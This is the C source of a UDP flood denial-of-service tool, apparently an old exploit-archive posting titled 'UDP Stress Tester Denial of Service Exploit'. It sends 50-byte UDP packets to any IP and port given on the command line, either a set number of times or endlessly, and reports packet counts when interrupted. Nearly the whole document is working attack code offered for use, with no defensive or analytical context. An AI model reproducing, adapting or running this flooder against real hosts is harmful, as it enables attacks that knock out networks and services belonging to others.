UDP Stress Tester Denial of Service Exploit

                                                #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#define shit "BLEAHD"

time_t elapsed;
long sendcount = 0, kbs;

void stats(int signum)
{
  kbs = (sendcount*6)/(time(0)-elapsed)/1024; // i dont think this is right but...
  printf("\npid: %d, ran for %u seconds\n",getpid(),(time(0) - elapsed));
  printf("%u packets out, total: %u Kb/s\n",sendcount,kbs);
  printf("aborting due to signal %d\n",signum);
  exit(32+signum);
}

void
usage(char *pname) {
 printf("raped.c by cys of NewNet\n");
 printf("Usage: %s dest[ip] x[0=flood] port[0=rand] delay(ms)[0=none]\n",pname);
 exit(-1);
}

int main(int argc, char **argv)
{
  struct sockaddr_in sin;
  int port, amount, i, s;
  elapsed = time(0);
  {int n;for (n=1;n<32;n++) signal(n,stats);}
  if(argc < 5)
    usage(argv[0]);
    
  if (atoi(argv[2]) != 0) { 
    amount = atoi(argv[2]); 
  } else { 
    amount = 0; 
  } 
 
  if(atoi(argv[3]) == 0)
  {
    srand((unsigned int)time(NULL));
    port = rand() % 65535;
  } else {
    if(atoi(argv[3]) < 1 || atoi(argv[3]) > 65535)
    {
      printf("Port must be over 1 and under 65535\n");
      exit(-1);
    } else {
      port = atoi(argv[3]);
    }
  }

  sin.sin_family=AF_INET;
  sin.sin_addr.s_addr=inet_addr(argv[1]);
  sin.sin_port=htons(port);
  s = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  connect(s,(struct sockaddr *)&sin,sizeof(sin)); // connect in udp? il just leave it..
  printf("raped2.c by cys of NewNet\n");
  if(amount == 0) {
    printf("ip:%s x:0 port:%d delay:%d\n",argv[1],port,atoi(argv[4]));
    for(;;) {
      send(s,shit,50,0);
      sendcount++;
      if(atoi(argv[4])!=0) usleep(atoi(argv[4]));
    }
  } else {
    printf("ip:%s x:%d port:%d delay:%d\n",argv[1],amount,port,atoi(argv[4]));
    for(i=0;i<amount;i++){
      send(s,shit,50,0); 
      sendcount++;
      if(atoi(argv[4])!=0) usleep(atoi(argv[4]));
    }
  }
  printf("Exiting...\n");
}


// milw0rm.com [2002-09-10]